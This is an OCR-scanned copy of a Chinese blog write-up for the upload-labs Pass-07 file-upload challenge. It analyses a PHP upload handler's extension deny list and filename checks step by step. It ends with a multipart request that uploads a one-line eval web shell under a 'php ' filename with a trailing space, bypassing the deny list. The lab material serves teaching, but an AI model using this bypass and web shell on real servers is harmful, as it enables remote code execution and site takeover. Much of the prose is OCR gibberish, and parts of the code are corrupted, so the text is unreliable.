74 -Pass072 BB FERSET (upload-labs)

/MIEFM EF 2022-02-02 14:07:34 5% 237 e 3

SELR: R4 # IS CERS: php &4 L cff

F 2021-07-27 09:15:42 & K KA

PR B . ARSCRIEERAISCE, #15.CC 4.0 BY-SA AU, H8iE M b SCH AR A< 75 B
AHEE:  https://blog.csdn.net/smallfox233/article/details/119132666

FRAL

91 FICE 9T
TR EE

_2

24 WX EAITH
B EA

XEHZX

2L S
Eﬁli/l


https://blog.csdn.net/smallfox233
https://blog.csdn.net/smallfox233/category_9833515.html
https://blog.csdn.net/smallfox233/category_11523188.html
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%25BA%2590%25E7%25A0%2581%25E5%25AE%25A1%25E8%25AE%25A1&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/smallfox233/article/details/119132666
https://blog.csdn.net/smallfox233/category_9833515.html
https://blog.csdn.net/smallfox233/category_11523188.html

=
i

RN
HAtA4
—. &H
Z. WriteUp

[1]. BB A
[2]. J5RG & it

(1). &AW
(2). B& 42
(3). B4
(4). SREL_EAZ S 14
(5). MIBR EHE /NS
(6). REL G4
(7). NE#H
(8). B7=:$DATA
(9). BE BT
(10). X FrEgr R E
(11). B3N RS S
[3]. EHseid

2.

1]

13

o php B Hypertext Preprocessor WAL EEE, ZHT web f5ii
o BUUCTFHjupload-labs7E& 37 MI A MR A M ER], WRASCEMHERESEN, ERE—THEEEE



upload-labs

HHRNA
PHP BHEE#
Upload-labs 3 B ¥R (2#5ed) ——Pass06

PHP: PHP F#f - Manual

oAt A4

X Bt B A
upload-labs#E3% T #;
upload-labs7E £ #3%-BUUCTF
B8 AntSword

€ 7]Cknife

Seay

—. &H

htins:ffblog.csdn.net/smallfo



https://baike.baidu.com/item/PHP/9337
https://blog.csdn.net/weixin_43965597/article/details/107615515
https://www.php.net/manual/zh/index.php
https://www.cnblogs.com/8gman/p/12319141.html
https://gitee.com/aaaddc/upload-labs
https://buuoj.cn/challenges#Upload-Labs-Linux
https://gitee.com/AntSwordProject/antSword
https://github.com/Chora10/Cknife
https://github.com/f1tz/cnseay

Pass-03
Pass-04
Pass-05
Pass-06

mee (17 BEREELFENBEER:
Pass-07

Pass-08
ittps:/iblog.csdn.net/sma o

Pass-09

{FRaN

ApassZZ|l % php|.php5|.php4|.php3|.php2|php1]|.h
tml|.htm|.phtml|.pHp|.pHPS|.pHpP4|.pHP3|.pHP2|pHpP1|
Himl|.Htm|.pHtml|.jsp|.jspal.jspx|.jsw|.jsv|.jspf|.jtml|.jS
pl.jSpx|.JSpal.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.as

ax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aSc
x|.aShx|.aSmx|.cEr|.sWf|.swifZZZ 44

hitps:/fblog.csdn.net/smallfox

php J& i



<?php
$is _upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2"," .html"," .htm",".phtml",".pht"," .pHp",".pHp5","
.pHp4", " .pHp3"," .pHp2"," .Html"," .Htm", " .pHtm1l",".jsp",".jspa”, " .jspx",".jsw",".jsv", " . jspf", " . jtml",".Sp",".jSp
x",".jSpa",".jSw", " . jSv", " . jSpf", " . jHtm1" , " .asp", " .aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".
aSpx",".asa",".aSax",".aScx",".aShx",".aSmx"," . cEr"," . sWf"," . swf"," . htaccess",".ini");
$file name = $ FILES['upload_file']['name'];
$file_name = deldot($file_name);// Mk XL K BRI~
$file_ext = strrchr($file_name, '.");
$file_ext = strtolower($file_ext); //E#HIPE
$file_ext = str_ireplace('::$DATA', '', $file ext);// LB =/ : $DATA

if (!in_array($file_ext, $deny ext)) {
$temp_file = $ FILES['upload_file']['tmp_name'];
$img _path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).%file ext;
if (move_uploaded_file($temp file,$img_path)) {
$is_upload = true;
} else {
$msg = ' bARHEE!
¥
} else {
$msg = 'WHA R LML
¥
} else {
$msg = UPLOAD_PATH . 'SCHFRAFIE, BHFLAIE! ';

?>
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ontent-Type: text/plain

S — —--179332396611738

‘ontent-Disposition: furm-data:

$is_upload = false;

$msg = null;

if (isset($_POST['submit'])) {//FE—#ifiZ4]
// i3

¥
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-~ @ common. php
: Enf g p}}: P (ZH$IEM) : [VPLOAD_PATH v BH# £ 1t
oO0Ter. p
J head. pl‘np < !
1@ include. php - ﬁ:ﬁ mli —
.I oty i | feonfig. php define("UPLOAD_PATH®, ".. /upload”);
.] R IE 2 FPaz=z—01/index. php if (file_ exists(UFLOAD_FATH)) {
.I REATME md 3 /Pass—01/1ndex. php $img_path = UPLOAD_PATH . "/ . $_FILES
.] radir. php 4 FPass=01/index. php $msg = UPLOAD_FATH . ' STfET57L 1&F.
.. oss 5 fPazs—02/index. php 1f (file_exists(UPLOAD_PATH)) {
.I doo [ fPass02/1ndex. php $img_path = UPLOAD_PATH . "/ . $_FILES
.. docker 7 SFas==02/index. php $msz = UPLOAD_PATH. ' ST f57E. EF 1T
.I ing 8 fPazss—02/show_code. php 1f (file_exists(UPLOAD_PATH)) {
.] is 9 FPazz—02/show_code. php $imz_path = UPLOAD_PATH . '/ . $_FILES
.. Pass-01 10 fPazss—02/cshow_code. php $msg = UPLOAD_FATH. M {FEF7EL 1EFET
.I Pass—02 11 SPass—03/index. php 1f (file_exists(UPLOAD_PATH)) {
EI.] Pass—03 12 fPazss-03/index. php $img_path = UPLOAD PATH /. date("YmdHi:
EI.. Pass-04 13 fPass03/1ndex. php $msz = UPLOAD_PATH . "W HET75L &F.
PR 14 fPazs-03/chow_code. php if (file_exists(UPLOAD_PATH)) |

> thEERE > FIREEE (C) > phpstudy pro » WWW > upload-labs-master > Pass-02

BFR =R BEA it o
#  «l helper.php 2020/1/15 22:38 PHP =Z{%
+  “lindex.php 2020/1/15 22:38 PHP 3Zi%
» «J show_code.php 2020/1/15 22:38 PHP =Z{%

[’ C:\phpstudy pro\WWW\upload-labs-master\Pass-02\index.php - Notepad++
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HEEERGS LMk atg *%EE =1 ES@|
= index. phpﬂ'

1 |<?php

2 include '../config.php';
3 include '../head.php':

4 include '../menu.php':;
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BH<?php

errcor reporting(0):

header ("Content-type: text/html;charset=utf-8");

define ("WWW_ROOT", S_SERVER[ 'DCLLMEXT_RCCT' 1):
define ("APF ROOT",stxr_replace('\\',' /' ,dirname (__FILE ))):
define ("APP URL ROOT",str_replace (WWW_ROOT,"",APP ROOT)):

/X EERAERE
define ("INC VUL PATH",APP URL ROOT .
[/EE FEEF
|[define ("UPLOAD PATH", "../upload"); |
3>

"/include.php™);



$is upload = false;
$msg = null;
if (xxx) {//BE—FifiE4
if (file_exists(UPLOAD PATH)) {//# —#ifiZfy
// 165
Yelse {//F#E_FifiFa 5K
$msg = UPLOAD_PATH. ' XHERAFFIE, BF TAIR! ';

(3). M

$deny_ext B—ANEHRR, FiET BEHIENES A
ZIESEM RSN, mREBEREMFERPH—A, XHHSHiEE

".php",".php5",".phpa",".php3",".php2",

".html",".htm",".phtml"," .pht"," .pHp",
".pHp5",".pHp4"," .pHp3"," pHp2" " Html",
".Htm",".pHtml",".jsp",".jspa",".jspx",

".sz" ".jsv",".jspf", " jtml", " . jSp",
".jSpx",".jSpa",".jSw", " .jSv", " .jSpf",
".jHtml",".asp",".aspx"," asa" ".asax",
".ascx",". ashx"," asmx",".cer",".aSp",
".aSpx",".asa",".aSax",".aScx",".asShx",
".asSmx",".cEr"," . SWf"," .swf"," . htaccess",".ini"
// 165

if (xxx) {//FE—FifiE4

if (xxx) {//BZ#FKifiF4

$deny_ext = array(".php",".php5",".php4",".php3",".php2"," .html"," .htm",".phtml",".pht",".pHp",".pHp5"," .pH
p4“ ".pHp3",".pHp2"," .Html1"," .Htm"," .pHtm1l"," .jsp",".jspa"™,".jspx",".jsw",".jsv", " .jspf",".jtml"," . jSp",".jSpx",

'.jSpa",".jsSw",".jSv", " . jSpf", " . jHtm1", " .asp"”, " .aspx", " .asa .asax .ascx .ashx",".asmx .cer .asp",".aSp
x",".asa",".aSax"," aScx“ ".aShx",".aSmx",".cEr"," . sWf"," swf" ! htaccess" " 1n1"),
// 165
Yelse {//FE=FifiZa K
// e
}
}
(4). KB _E A& 30tk 44

$_FILES['upload_file']['name"'] &3REL EAESCHMARR, W FEM test3. txt



intent-Length: 298

intent-Disposition: form-data; name="upload_file"; filename="test3. txt"

2279721436647 4

intent-Type: text/plain

2279721436647 4

intent-Disposition: form-data; name="submit"

Lk 32

// 13

2279721436647 4--

if (xxx) {//FE—FKifiZa
if (xxx) {//FEZFKifiEA

// 5
$file_name

// 15

= $ FILES['upload_file']['name'];

Yelse {//#EZ=FifiFt K

// 1

(5). M ER 2 # /MR

o deldot($file_name) K& MR E $file_name HHIBRE — N IEUR, S ERRIIXANREARphpEHFI, TRLGHHDE
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o BT Seay VR H TH RZ W LA BB B AL B ~AE common . php SUfFH
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& A RO iwh: | EE: |

=8 upload-labs—master EIE S L
i@ common. php
------ [@ config. php M GEHEEND : [deldot v BT & 1t O OFEY
~-L i footer. php =

-1 head php y .
- @ include. php o XFe Pil?ﬁéﬂi

. index. php 1 | Jeommon. php function deldot($s){
58 nenu. pho 2 JFas=—03/1ndex. php $Eile_name = deldot ($file_name): //MfE EFERS
______ 3 REAINE. nd 3 /Pazz—03/show_code. php $f1le_name = deldot($file_name); / /MBS X ERS
______ & rodir. php 4 /Pazsz—04/index. php $£ile_name = deldot($file_name) ;//MPEZ{F2FERIS
.‘ e 5 J/Pazz—04/show_code. php $file_name = deldot($file_name): //MPEHEFERS
.‘ doo 6 /Pass—05/index, php $file_name = deldot($file_name): //MIFTHEFERS
.‘ docker 7 /Pas=—06/show_code. php $file_name = deldot($file_name): //MPFHHEFERNS
.‘ ing 8 /Pazz—06/index. php $file_name = deldot($file_name): //MPFHEFERNS
J js 9 /Pazz—06/show_code. php $file_name = deldot($file_name)://MbE > HEFERIS
.‘ Pass-01 10 /Pass—07/index. php $file_name = deldot($file_name) /Ml EHS
.‘ Pass-02 11 /Pazsz—07/show_code. php $f1le_name = deldot($file_name); / /MBS HEFEERS
-‘ Pass-03 12 J/Pasz—09/index. php $file_name = deldot($file_name): //MPETHEFERS
-‘ Pass-04 13 /Pasz—09/show_code. php $file_name = deldot {3 file_nam e? MR REERIS

BE  2REE comon php

NFEEH

I <?php




function deldot($s){

F

—pAFSIE—
deldot

—RB5F—
$i

$s
$e

‘onsoles

function -deldot ($3) {

for($i = strlen($s)-1:$i>0:8i--){
§c = substr($s,81i,1);
if($i == strlen($=)-1 and $c !
retorn $s;

if(8c '= "."){
return substr($s,0,5i+l);

deldot(

s\php\php7.3.4nts\php.exe C:\Code\php\ .php




Project w

Run:

// 5
if (xxx) {//FE—FKifi5H]
if (xxx) {// B =FKifiEa
// B
= deldot
// 15
else{// FEZFifiFa MK
// 1B

(6). B X1 Ja &

1/ BRI KSR A At

e strrchr($file_name, '.') SREI/NESMSCHES
¥4 8 test3. php. jpg » BEIK $file_txt EELZ . jpg

e PHP: strrchr - Manual

// 165
if (xxx) {//F—FifiEa
if (xxx) {//HE=Fifigt]
// 165
= strrchr
// 165
else{//F=#Fif B MK
// 165

H TR .

strlen(
substr(
== strlen(

substr(



https://www.php.net/manual/zh/function.strrchr.php

(7). /NE # 3

o strtolower($file_ext) BiRXAB AN ERFFFEHRFTEPNE LN, XFEREZEHTXHERIRNESGES T
PHP: strtolower - Manual

// 165
if (xxx) {//Z#E—FifiFH
if (xxx) {//B=FifiFH
// 165
$file_ext = strtolower($file ext); //E#H AT
// 165
Yelse{//E=FifiZt IR
// e
)
)

(8). H=::$DATA

o TEWINdoWHIHH U L4+ ¢ : $DATA &3 : : $DATA Z )5 IR U LR E A SN E R4, BES% [ R egid] )\, :
: $ DATA b1&gad
W4 test.php: : $DATA. jpg B, fEwindowsH & MilER : : $DATA K2 JEMIA %, W _EfswindowiR 4528 J5 i 314
A test.php

o str_ireplace('::$DATA', '', $file_ext) HEH T FIRE AR $file_ext 1 : :$DATA FH, BiiET ::$DATA ) L
feged

e PHP: str_ireplace - Manual

// 15
if (xxx) {//B—FifiF4
if (xxx) {//FEZFKifiEf

// 165
$file _ext = str_ireplace('::$DATA', '', $file ext);// LB F/F4H: : $DATA
// 165
Yelse{// E_Fif 5 K
// e
¥
¥

(9). M4 Hit 38

o $file_ext FEMIRIMER (BHMEAED
H4H $deny_ext BIMEWT, AXHHERADSAEFHIE, A REZNIfER

e PHP: in_array - Manual
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".php",".php5",".php4",".php3",".php2",
".html", " htm",".phtml",".pht",".pHp",
".pHp5",".pHp4"," .pHpP3"," .pHp2"," .Htm1",

" Htm",".pHtml",".jsp",".jspa",".jspx",

"ojsw", " gsv", " jspf"t, " jtml", " . jSp",
".jSpx",".jSpa",".jSw", " .jSv", " . jSpf",
".jHtml",".asp",".aspx",".asa", " .asax",
".ascx",".ashx",".asmx",".cer",".aSp",
".aSpx",".asa",".aSax",".aScx",".aShx",
".asmx",".cEr", " . SWF", " .swf"," .htaccess",".ini"

// 165
if (xxx) {//F—FifiF4a
if (xxx) {//F=FFifiFt
// 5
if(!in_array($file_ext, $deny ext)) {//FE=#FifiZ4
// 5
} else {//FE=FifiFHNE
$msg = 'WIHARE L

by
Yelse{// 2 = FifiEt bl
// 165
¥
b
(10). XA RE
o TE LAESCHFIIBRE, SCHER S HEE—ANIGE FISCHER T
BAIAFTEIE B AGEE, REEBEtmp_nameZSHERELEE 42 B AT
e UPLOAD PATH f{& 4 ../upload , 7E config.php fFHi5E L
$file_ext RIUHMES, BT MUS
rand(1000,9999) & M 1000%I9999% =+ EX pEALEL, i A M4 A
date("YmdHis") A TIRECERETAIMIE, BL xxxx&FExx A xx H xxBlxx 23 xx# Atk
BT RF B AR B ) 3 /NS
e PHP: rand - Manual
PHP: date - Manual
//1C5

if (xxx) {//FE—FifiEa
if (xxx) {//F=ZFifFT
// 5
if(xxx) {//F=Fif 1547
$temp file = $ FILES['upload file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).%file ext;
// 5
} else {//FB=Fif1IEAHEKE
// i3
}
Yelse{// E=FifiZA K
// 5
¥
}

(11). & 3h ks i SCHF


https://www.php.net/rand
https://www.php.net/manual/zh/function.date.php

o FIRKIMIGEM TR LALRSCIE, BAXSCAFEAT SRR

e PHP: move_uploaded_file - Manual

/7165
if (xxx) {//F—FifiF4
if (xxx) {//BE=FifiEH
// 5
if(xxx) {//F=FifiF4
// 15
if (move_uploaded file($temp file,$img path)) {//BH&ifiE4
$is_upload = true;
} else {//FEHFifiFA5E
$msg = ' BAEHES! '
b
} else {//FE=FifiFANE
// 5
¥
Yelse{//FE_FifiFH K&
// 5
¥
)i

[3]. i sait

o YRR A RIS R HGSIE, BT UART BARE SO R B I — AN 2

o EAFIRFB/HINR, BEKEHME phpThs , MTTSEE MR 4 B I BR i
XA . phpZEts B4F Ewindows S K 42 MM, B AR S8 7 i I R S R BB £ 3, XHEREHMAET . php 1

————————————————————————————— 327 46366724523
Content-Disposition: form-data; name="upload_file"; filename="test7.php "
Caontent-Type: applicationfoctet-stream

<?php @eval(f_POST["cmd"]);?=
----------------------------- 327463667 24523
Caontent-Disposition: form-data; name="submit"

=4 3
----------------------------- 32746366724523-

B R, U, BRIRERS . php XTI
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